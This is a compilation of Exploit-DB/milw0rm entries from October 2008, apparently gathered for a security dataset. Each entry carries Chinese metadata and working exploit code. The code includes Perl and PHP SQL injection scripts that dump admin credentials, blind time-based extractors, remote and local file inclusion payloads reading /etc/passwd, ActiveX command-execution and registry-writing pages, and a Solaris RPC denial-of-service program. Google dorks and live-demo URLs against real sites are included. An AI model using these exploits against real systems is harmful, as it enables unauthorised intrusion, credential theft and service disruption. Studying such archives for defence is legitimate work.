QLWD/code_shield huggingface dataset:
标题: Fast Click SQL 1.1.7 Lite - 'init.php' Remote File Inclusion EDB-ID: 6785 CVE: 2008-4624 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-19 漏洞利用脚本: ===========================================================================================


  [o] Fast CLick SQL Lite 1.1.7 Remote File Inclusion Vulnerability

       Software : Fast CLick SQL Lite version 1.1.7
       Vendor   : http://www.ftrsoft.com/
       Download : http://www.ftrsoft.com/downloads.html
       Author   : NoGe
       Contact  : noge[at]mainhack[dot]com


===========================================================================================


  [o] Vulnerable file

       common/init.php

 require($CFG['CDIR'].'/global.php'); 
 require($CFG['CDIR'].'/sql.php');



  [o] Exploit

       http://localhost/[path]/common/init.php?CFG[CDIR]=[evilcode]


===========================================================================================


  [o] Greetz

       MainHack BrotherHood [ www.mainhack.com ]
       VOP Crew [ Vaksin13 OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ k1tk4t
       skulmatic olibekas ulga Cungkee str0ke

        
===========================================================================================

# milw0rm.com [2008-10-19] URL: https://www.exploit-db.com/exploits/6785
标题: XOOPS Module GesGaleri - SQL Injection EDB-ID: 6778 CVE: 2008-5321 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-18 漏洞利用脚本: #!/usr/bin/perl -w
 
 
#Xoops GesGaleri Sql injection#
########################################
#[~] Author :  EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike
 
#[!] Module_Name:  GesGaleri
#[!] Script_Name:  XOOPS
#[!] Google_Dork:  inurl:"/modules/GesGaleri/"
########################################
 
 
system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                 Turkish Securtiy Team                      |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|XOOPS Module GesGaleri(index.php kategorino)Remote SQL Injection Vuln|\n\n";
print "\t\t|   Coded by: EcHoLL     www.warezturk.org               |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
 
use LWP::UserAgent;
 
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
 chomp(my $target=<STDIN>);
 
$column_name="concat(uname,0x3a,pass)";
$table_name="xoops_users";
 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target .   "/modules/GesGaleri/index.php?kategorino=5&no=15+union+select+1,2,".$column_name."+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  print "\n[+] Admin Hash : $1\n\n";
  print "#   Tebrikler Exploit Calisti!  #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
} 

# milw0rm.com [2008-10-18] URL: https://www.exploit-db.com/exploits/6778
标题: WordPress Plugin st_newsletter - 'stnl_iframe.php' SQL Injection EDB-ID: 6777 CVE: 2008-4625 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-17 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-Marezzi-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz        #
#        and all darkc0de and DarkTrix members               ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com & darktrix.info
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  WordPress stnl_iframe remote sql injection vulnerability
# 
#
###########################################################
#
# d0rk: ''stnl_iframe''
#
###########################################################
 
     POC :- 
 
 wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--
   
     Live Demo: 
 
 http://flymusic.co.uk/wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--


###########################################################
#
#  Bug discovered : 18 Oct 2008
###########################################################

# milw0rm.com [2008-10-17] URL: https://www.exploit-db.com/exploits/6777
标题: phpFastNews 1.0.0 - Insecure Cookie Handling EDB-ID: 6779 CVE: 2008-4622 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-18 漏洞利用脚本: #################################################
## Qabandi  iqa[at]hotmail.fr      ##
##  from Kuwait         ##
#################################################
\\ phpFastNews
//  Insecure cookie handling
\\
//   Go to any website that has the script installed
\\ type the following code into the Adress Bar
//
\\ javascript:document.cookie = "fn-loggedin = 1";
//
\\ Refresh do whatever, and you will be logged in
//
\\  Dork:intext:"Powered by phpFastNews"
#################################################
## Greetz: Killer Hack, Str0ke        ##
#################################################
  PEACE

# milw0rm.com [2008-10-18] URL: https://www.exploit-db.com/exploits/6779
标题: Hummingbird Deployment Wizard 2008 - ActiveX File Execution(2) EDB-ID: 6776 CVE: 2008-4728 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-17 漏洞利用脚本: --------------------------------------------------------------------------------
 Hummingbird Deployment Wizard 2008 (DeployRun.dll) Arbitrary File Execution(2)
 url: http://www.hummingbird.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Info:
 DeployRun.dll <= 10.0.0.44
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPersist Safe:  Safe for untrusted: caller,data

 Vulnerable method:
 Sub PerformUpdateAsync (ByVal ExecAfterComplete As String)

 Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7

 There are a lot of dangerous methods, just take a look and... good searching
--------------------------------------------------------------------------------
<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test' height='20' width='20'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
   test.PerformUpdateAsync "calc.exe"
   'test.PerformUpdateAsync "http://www.SomeSite.com/SomeFile.exe"
 End Sub
</script>

# milw0rm.com [2008-10-17] URL: https://www.exploit-db.com/exploits/6776
标题: Post Affiliate Pro 2.0 - 'md' Local File Inclusion EDB-ID: 6772 CVE: 2008-4602 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-16 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Software : Post Affiliate Pro v2.0
Vulnrability : Local File Inclusion
Severity : High

Author : ZeN
Date : 16 October 2008

Websites >
http://DUSecurity.com
http://DarkCode.me

PS : You MUST be logged into the system for the exploit to work.

Exploit >

http://site.com/affiliates/index.php?md=../../../../../../../etc/passwd%00


Shouts>
DUSecurity Group
DarkCode
WL-Group
IWannaHack
Milw0rm
EnigmaGroup

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-10-16] URL: https://www.exploit-db.com/exploits/6772
标题: zeeproperty - 'adid' SQL Injection EDB-ID: 6780 CVE: 2008-4621 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-18 漏洞利用脚本: |___________________________________________________|
| zeeproperty (adid) Remote SQL Injection Vulnerability
|___________________________________________________
|----------------------  Hussin X  -------------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM   |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                     |
| script    :  http://www.zeeproperty.com
|
| DorK   :  :)
|___________________________________________________|

Exploit:
________

www.[target].com/Script/bannerclick.php?adid=-1+union+select+0,0,concat(name,0x3e,pwd),0,0,0,0,0,0,0+from+admin--


Demo
________

www.zeeproperty.com/bannerclick.php?adid=-1+union+select+0,0,concat(name,0x3e,pwd),0,0,0,0,0,0,0+from+admin--


Admin Panel :
________

www.[target].com/Script/admin

____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________

                                               Im IRAQi    |     Im TrYaGi

# milw0rm.com [2008-10-18] URL: https://www.exploit-db.com/exploits/6780
标题: Meeting Room Booking System (MRBS) < 1.4 - SQL Injection EDB-ID: 6781 CVE: 2008-4620 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-18 漏洞利用脚本: # "MRBS is a system for multi-site booking of meeting rooms. Rooms are grouped by building/area and shown in a side-by-side view. Although the goal was initially to book rooms, MRBS can also be used to book any resource (computer, planes, whatever you want)".

# Web CMS: http://sourceforge.net/projects/mrbs/
# Affected: Previous versions of mrbs 1.4
# Solution: Update to Version 1.4

# Doorks:
# "Meeting Room Booking System" "month.php?area="
# "Meeting Room Booking System" "day.php?area="
# "Meeting Room Booking System" "week.php?area="

# Author: Xianur0
# Try: http://www.sitio.com/path/month.php?area=1/**/and/**/1=0

# Exploit:

#!/usr/bin/perl

#Xianur0 CYS # perl blind.pl http://www.victima/st/schedule/ 'SELECT user()'
#
#Exploit MRBS By Xianur0
#
#Please Have Patience, The Blind SQL Injection is running.........
#pma@localhost
#
#
#Finished!
#


# By Xianur0

  use LWP::UserAgent;

%ascii = ("32", " ","32", " ","33", "!","34", '"',"35", "#","36", '$',"37", "%","38", "&","39", "'","40", "(","41", ")","42", "*","43", "+","44", ",","45", "-","46", ".","47", "/","48", "0","49", "1","50", "2","51", "3","52", "4","53", "5","54", "6","55", "7","56", "8","57", "9","58", ":","59", ";","60", "<","61", "+","62", ">","63", "?","64", '@',"65","A","66","B","67","C","68","D","69","E","70","F","71","G","72","H","73","I","74","J","75","K","76","L","77","M","78","N","79","O","80","P","81","Q","82","R","83","S","84","T","85","U","86","V","87","W","88","X","89","Y","90","Z","95","_","97", "a", "98", "b", "99", "c", "100", ,"d","101","e", "102", "f", "103","g", "104", "h", "105","i", "106", "j", "107","k", "108", "l", "109","m", "110", "n", "111","o", "112", "p", "113","q", "114", "r", "115","s", "116", "t", "117","u", "118", "v", "119","w", "120", "x", "121","y", "122", "z");

  $ua = LWP::UserAgent->new;
  $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");
$url = $ARGV[0];
$sql = $ARGV[1] || die("Use: blind.pl [Complete URL] [SQL Injection]\nExample: blind.pl http://www.victima.com/mrbs/ 'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES'\n");
print "\nExploit MRBS By Xianur0 \n\nPlease Have Patience, The Blind SQL Injection is running.........\n";
$caracter = 1;
$i=0;
$detector = '<h1>No rooms defined for this area</h1>';
$simbolo = ">";
while($caracter ne "finito") {
  $req = HTTP::Request->new(GET => $url.'/month.php?year=2008&month=08&area=1%20AND ascii(substring(('.$sql.'),'.$caracter.',1)) '.$simbolo.' '.$i);
  $req->header('Accept' => 'text/html');
  $res = $ua->request($req);
  if ($res->is_success) {
     if($res->content !~ $detector) {
if($base eq $i) { print "$ascii{$i}"; $caracter++; $i=0; $simbolo = ">";}
$base = $i;
$i = $i+10;
} else { if($i eq 0) { print "\nError Performing Blind (Less Value to 0)!\n"; $caracter = "finito";} else {$i = $i-1; $simbolo = "=";}
}
  } else {
     print "\nError detected in HTTP requests: " . $res->status_line . "!\n";
  }
}

print "\nFinished!\n";

# milw0rm.com [2008-10-18] URL: https://www.exploit-db.com/exploits/6781
标题: iGaming CMS 2.0 Alpha 1 - 'search.php' SQL Injection EDB-ID: 6769 CVE: 2008-4603 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-16 漏洞利用脚本: #!/usr/bin/perl 
# -----------------------------------------------------
# iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
# On 16/10/2008
# http://www.igamingcms.com/iGaming_2_Alpha.zip
# -----------------------------------------------------

use strict;
use LWP::UserAgent;


my ($host,$id) = @ARGV;

usage() unless $host =~ /http:\/\/(.+?)$/ and $id =~ /^[0-9]/;

my $etc = "' union select 1,concat(0x616E6172636879,".
          "password,0x3a,username,0x616E6172636879),3".
          ",4,5 from sp_users where id=$id#";
          
my @search = ($etc,'all',0,'Search','search_games');          
my @split = undef;          
          
my $http = new LWP::UserAgent;
my $post = $http->post($host.'/search.php',
                      [
                       keywords => $search[0],
                       platform => $search[1],
                       exact    => $search[2],
                       submit   => $search[3],
                       do       => $search[4]
                     ]);
                     
if($post->is_success)
{
  if($post->as_string =~ /anarchy(.+?)anarchy/)
  {
    @split = split(':',$1);
    
    print "Username: $split[0]\r\n";
    print "Password: $split[1]\r\n";
  }
  else
  {
    print "Exploit Failed!\r\n";
  }
}

sub usage
{
  print "iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit\r\n";
  print "Usage: perl $0 http://[host] [user_id]\r\n";
  exit;
}


            
__END__         

# milw0rm.com [2008-10-16] URL: https://www.exploit-db.com/exploits/6769
标题: Hummingbird Deployment Wizard 2008 - ActiveX Command Execution EDB-ID: 6773 CVE: 2008-4728 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-17 漏洞利用脚本: ------------------------------------------------------------------------------
 Hummingbird Deployment Wizard 2008 (DeployRun.dll) Arbitrary File Execution
 url: http://www.hummingbird.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Info:
 DeployRun.dll <= 10.0.0.44
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPersist Safe:  Safe for untrusted: caller,data

 Vulnerable method:
 Sub Run (ByVal Path  As String , ByVal CommandLine  As String)

 Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7

 There are a lot of dangerous methods, just take a look and... good searching
------------------------------------------------------------------------------
<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
   test.Run "cmd.exe", "/C calc.exe"
 End Sub
</script>

# milw0rm.com [2008-10-17] URL: https://www.exploit-db.com/exploits/6773
标题: Hummingbird Deployment Wizard 2008 - Registry Values Creation/Change EDB-ID: 6774 CVE: 2008-4728 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-17 漏洞利用脚本: ------------------------------------------------------------------------------------
 Hummingbird Deployment Wizard 2008 (DeployRun.dll) Registry Values Creation/Change
 url: http://www.hummingbird.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Info:
 DeployRun.dll <= 10.0.0.44
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPersist Safe:  Safe for untrusted: caller,data

 Vulnerable method:
 Sub SetRegistryValueAsString (ByVal Path As String, ByVal v As String)

 Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7

 There are a lot of dangerous methods, just take a look and... good searching
------------------------------------------------------------------------------------
<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  'test.SetRegistryValueAsString "Existing Registry Path + Existing Registry Key", "Value to change"
  test.SetRegistryValueAsString "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YourFavouriteKey", "Hello World!"
 End Sub
</script>

# milw0rm.com [2008-10-17] URL: https://www.exploit-db.com/exploits/6774
标题: Solaris 9 PortBind - XDR-DECODE 'taddr2uaddr()' Remote Denial of Service EDB-ID: 6775 CVE: 2008-4619 类型: DOS 平台: SOLARIS 发布日期: 2008-10-17 漏洞利用脚本: /*
////////////////////////////////////////////////////////////
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
////////////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]globalST[dot]com[dot]ar
/////////////////////////////////////////////////////


Program received signal SIGSEGV, Segmentation fault.
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
(gdb) backtrace
#0  0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
#1  0x00013d88 in rpcbproc_taddr2uaddr_com ()
#2  0x000161c0 in rpcb_service_4 ()
(gdb)

*/

#include <string.h>
#include <rpc/rpc.h>

struct xdr {
        long long_arg;
        char *string_arg;
};

typedef struct xdr xdr;
static struct timeval TIMEOUT = { 25, 0 };

bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
        register int32_t *buf;

         if (!xdr_long (xdrs, &objp->long_arg))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->string_arg, 4096))
                 return FALSE;
        return TRUE;
}

char ** str_4(xdr *argp, CLIENT *clnt) {
        static char *clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call (clnt, 8,
                (xdrproc_t) xdr_xdr, (caddr_t) argp,
                (xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
                TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

main(int argc, char *argv[]) {
  CLIENT *c1;
  char *server;
  char **sresult;


  if (argc !=2){
    printf("=============================================================\n");
    printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");
    printf("-------------------------------------------------------------\n");
    printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");
    printf("=============================================================\n\n");
    printf("usage: %s <IP>\n",argv[0]);
    exit(1);
  }

  server = argv[1];

if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
       clnt_pcreateerror(server);
    exit(1);
  }

  xdr xdrmessage; 
  xdrmessage.long_arg = 0;
  xdrmessage.string_arg="";

  if ((sresult = str_4(&xdrmessage, c1)) == NULL){ 
   clnt_perror(c1, server);
   exit(1);
  }

  clnt_destroy(c1);
  exit(0);
}

// milw0rm.com [2008-10-17] URL: https://www.exploit-db.com/exploits/6775
标题: miniBloggie 1.0 - 'del.php' Blind SQL Injection EDB-ID: 6782 CVE: 2008-4628 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-18 漏洞利用脚本: #!/usr/bin/php 
<?php

error_reporting(0);


/*
   miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit
   ------------------------------------------------------------
   Author -> StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Date   -> 18/10/2008
   Get    -> http://www.mywebland.com/dl.php?id=2
   ------------------------------------------------------------
   
   File del.php
   
   25. if (isset($_GET['post_id'])) $post_id = $_GET['post_id'];
   26. if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];
   27.
   28. if ($confirm=="") {   
   29. notice("Confirmation", "Warning : Do you want to delete this post ? <a href=del.php?post_id=".$post_id."&confirm=yes>Yes</a>");
   30. }
   31. elseif ($confirm=="yes") {
   32. // Data Base Connection  //
   33. dbConnect();
   34. $sql = "DELETE FROM blogdata WHERE post_id=$post_id";
   35. $query = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error());
   36. $confirm ="";
   37. notice("Del Post", "Data Deleted");
   38. }
   39. else notice( "Delete Error, Unable to complete the task !" );
   40. ?>

   NOTE:
   
   $sql = "DELETE FROM blogdata WHERE post_id=$post_id";
   
   $post_id isn't escaped so you can execute SQL Code 
   
   How to fix? sanize $post_id with intval or int (PHP Functions)
   
  
*/  



function get($host,$path,$evil)
{
  if(!preg_match('/\w:[0-9]/i',$host)) alert();
  $inet = explode(':',$host);

  if(!$sock = fsockopen($inet[0],$inet[1])) die('connection refused');
  
  $data .= "GET /$path/del.php?post_id={$evil}&confirm=yes HTTP/1.1\r\n";
  $data .= "Host: $host[0]\r\n";
  $data .= "User-Agent: Lynx (textmode)\r\n";
  $data .= "Connection: close\r\n\r\n";
  
  fputs($sock,$data);
  
  while(!feof($sock)) { $html .= fgets($sock); }
  fclose($sock);
  
  return $html;
}


function alert()
{
  echo "# miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit\r\n";
  echo "# Usage: php {$argv[0]} [host:port] [path] [user_id]\r\n";
  echo "# Usage: php {$argv[0]} localhost:80 /minibloggie 1\r\n";
  die;
}


function charme($char,$colum,$id)
{
  $sql = "1 or (select if((ascii(substring(password".
         ",$colum,1))=$char),benchmark(200000000,char(0)),0)".
         " from blogusername where id=$id)#";
  
  return urlencode($sql);
}


$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$c = 0;


for($i=0;$i<=32;$i++)
{
  for($j=0;$j<=17;$j++)
  {
    $start = time();
    
    get($argv[1],$argv[2],charme($hash[$j],$c,intval($argv[3])));
    
    $stop = time();
    
    if($stop - $start > 12)
    {
      $password .= chr($hash[$j]);
      $c++;;
      break;
    }
  }
}

if(isset($password))
{
  echo "# Hash: $password\r\n";
  die;
}
else
{
  echo "# Exploit Failed!\r\n";
}
    



?>

# milw0rm.com [2008-10-18] URL: https://www.exploit-db.com/exploits/6782
标题: Kure 0.6.3 - 'index.php' Local File Inclusion EDB-ID: 6767 CVE: 2008-4632 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-16 漏洞利用脚本: # Kure 0.6.3 (index.php post,doc) Local File Inclusion Vulnerability
# url: http://code.google.com/p/kure/downloads/list
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# *Requirements: magic_quotes_gpc = Off

LFI /etc/passwd:
/?post=../../../../../../../../../../../../../etc/passwd%00
/?doc=../../../../../../../../../../../../../etc/passwd%00

LFI /config.php:
/?post=../config.php%00
/?doc=../config.php%00

dork: "powered by kure"

have fun :D

# milw0rm.com [2008-10-16] URL: https://www.exploit-db.com/exploits/6767